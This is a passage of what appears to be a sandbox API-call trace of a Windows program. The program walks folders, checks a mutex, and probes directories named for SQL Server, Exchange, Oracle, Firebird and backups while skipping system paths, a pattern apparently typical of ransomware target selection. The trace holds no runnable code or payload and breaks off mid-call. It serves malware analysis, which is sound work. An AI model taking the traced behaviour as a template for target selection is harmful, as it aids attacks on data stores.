ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0056.332] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0056.332] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.332] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.332] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.332] GlobalUnlock (hMem=0x44000c) returned 0 [0056.332] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.332] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.332] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.332] GlobalUnlock (hMem=0x44000c) returned 0 [0056.332] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.332] GlobalUnlock (hMem=0x440004) returned 0 [0056.332] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.332] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.332] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.332] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.332] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.332] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.332] GlobalUnlock (hMem=0x440004) returned 0 [0056.332] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.332] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.332] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.333] GlobalUnlock (hMem=0x440004) returned 0 [0056.333] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.333] GlobalUnlock (hMem=0x44000c) returned 0 [0056.333] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.333] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0056.333] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.333] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.333] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.333] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.333] GlobalUnlock (hMem=0x44000c) returned 0 [0056.333] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.333] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.333] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.333] GlobalUnlock (hMem=0x44000c) returned 0 [0056.333] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.333] GlobalUnlock (hMem=0x440004) returned 0 [0056.333] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.333] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.333] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.333] GlobalUnlock (hMem=0x440004) returned 0 [0056.333] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.333] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.333] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.333] GlobalUnlock (hMem=0x440004) returned 0 [0056.333] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.333] GlobalUnlock (hMem=0x44000c) returned 0 [0056.333] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.334] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033", len=0x3d | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033") returned 1 [0056.334] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.334] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.334] GlobalUnlock (hMem=0x44000c) returned 0 [0056.334] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.334] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.334] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.334] GlobalUnlock (hMem=0x44000c) returned 0 [0056.334] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.334] GlobalUnlock (hMem=0x440004) returned 0 [0056.334] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@衄T蠘T企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0056.352] GetLastError () returned 0x3 [0056.352] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\") returned 0x3e [0056.352] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0056.352] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0056.352] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@螜T企@\x18䁼Q\x181")) returned 0xffffffff [0056.352] GetLastError () returned 0x2 [0056.352] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\") returned 0x3e [0056.352] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0056.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0056.353] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@劔U企@\x18?T\x18;")) returned 0xffffffff [0056.353] GetLastError () returned 0x2 [0056.353] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\") returned 0x3e [0056.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0056.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0056.353] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@衤T企@\x18?T\x18D")) returned 0xffffffff [0056.354] GetLastError () returned 0x2 [0056.354] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\") returned 0x3e [0056.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\\x10") returned 8 [0056.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0056.354] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@螜T企@\x18ⶔR\x18j")) returned 0xffffffff [0056.354] GetLastError () returned 0x2 [0056.354] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\") returned 0x3e [0056.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0056.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0056.355] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@뾴R企@\x18?T\x18q")) returned 0xffffffff [0056.355] GetLastError () returned 0x2 [0056.355] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\") returned 0x3e [0056.355] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="adobe\\ⶐR\x80") returned 6 [0056.355] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0056.355] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@衤T企@\x18?T\x18y")) returned 0xffffffff [0056.355] GetLastError () returned 0x2 [0056.355] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\") returned 0x3e [0056.355] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="oracle\\T\x10") returned 7 [0056.356] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0056.356] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@劔U企@\x18?T\x18\x81")) returned 0xffffffff [0056.356] GetLastError () returned 0x2 [0056.356] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\") returned 0x3e [0056.356] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="archiveT\x10") returned 7 [0056.356] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0056.356] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@뾴R企@\x18?T\x18\x88")) returned 0xffffffff [0056.356] GetLastError () returned 0x2 [0056.357] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\") returned 0x3e [0056.357] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="backup?T\x10") returned 6 [0056.357] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0056.357] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@衤T企@\x18?T\x18\x8f")) returned 0xffffffff [0056.357] GetLastError () returned 0x2 [0056.357] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\") returned 0x3e [0056.357] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="reserv?T\x10") returned 6 [0056.357] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0056.357] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@劔U企@\x18?T\x18\x97")) returned 0xffffffff [0056.358] GetLastError () returned 0x2 [0056.358] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\") returned 0x3e [0056.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="restoreT\x10") returned 7 [0056.358] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.358] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.358] GlobalUnlock (hMem=0x440004) returned 0 [0056.358] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.358] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.358] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.358] GlobalUnlock (hMem=0x440004) returned 0 [0056.358] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.358] GlobalUnlock (hMem=0x44000c) returned 0 [0056.358] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\") returned 0x3e [0056.358] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0056.358] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\") returned 0x3e [0056.358] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0056.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0056.359] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\") returned 0x3e [0056.359] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0056.359] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\") returned 0x3e [0056.359] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0056.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0056.359] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.359] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.359] GlobalUnlock (hMem=0x44000c) returned 0 [0056.359] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.359] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.359] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.359] GlobalUnlock (hMem=0x44000c) returned 0 [0056.359] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.359] GlobalUnlock (hMem=0x440004) returned 0 [0056.359] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\") returned 0x3e [0056.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0056.359] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\") returned 0x3e [0056.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=11, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0056.360] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\") returned 0x3e [0056.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0056.360] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\") returned 0x3e [0056.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0056.360] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\", 